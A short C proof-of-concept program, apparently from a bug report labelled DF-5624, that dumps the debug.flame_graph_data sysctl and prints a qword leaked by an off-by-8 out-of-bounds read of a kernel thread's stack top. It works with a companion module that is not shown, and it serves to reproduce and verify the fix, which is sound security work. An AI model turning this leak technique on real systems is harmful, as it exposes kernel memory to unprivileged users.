DF-5624 / flame_dump.c
/* * DF-5624 PoC -- userland observer: dump debug.flame_graph_data and * find the entry whose rips[0] == DF5624_RIP_MAGIC. Prints rips[1], * which must equal the qword the module printed for [top, top+8) * (the off-by-8 out-of-bounds read of the thread kernel stack top). * * On the FIXED kernel the chain walk refuses rbp == top-8, so the * entry is still recorded (rips[0] is stored before the loop) but * rips[1] == 0 -- no OOB read. */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/flame_graph.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define DF5624_RIP_MAGIC 0x0000DF0000005624ULL int main(void) { size_t len = 0; unsigned char *buf; unsigned char *p; unsigned char *end; int cpu; int found = 0; if (sysctlbyname("debug.flame_graph_data", NULL, &len, NULL, 0) < 0) { perror("sysctl probe"); exit(1); } buf = malloc(len); if (buf == NULL) { perror("malloc"); exit(1); } if (sysctlbyname("debug.flame_graph_data", buf, &len, NULL, 0) < 0) { perror("sysctl get"); exit(1); } printf("dumped %zu bytes of debug.flame_graph_data\n", len); p = buf; end = buf + len; cpu = 0; while ((size_t)(end - p) >= sizeof(size_t) + sizeof(struct flame_graph_pcpu) && cpu < 256) { struct flame_graph_pcpu fg; uint32_t i; p += sizeof(size_t); /* ebytes header */ memcpy(&fg, p, sizeof(fg)); p += sizeof(fg); if ((size_t)(end - p) < (size_t)fg.nentries * sizeof(struct flame_graph_entry)) break; for (i = 0; i < fg.nentries; ++i, p += sizeof(struct flame_graph_entry)) { uint64_t r0, r1, r2; memcpy(&r0, p, 8); if (r0 != DF5624_RIP_MAGIC) continue; memcpy(&r1, p + 8, 8); memcpy(&r2, p + 16, 8); printf("FOUND cpu=%d idx=%u windex=%u " "rips[0]=%016llx rips[1]=%016llx rips[2]=%016llx\n", cpu, i, fg.windex, (unsigned long long)r0, (unsigned long long)r1, (unsigned long long)r2); found++; } cpu++; } printf("found %d magic entr%s\n", found, found == 1 ? "y" : "ies"); return (found ? 0 : 2); } |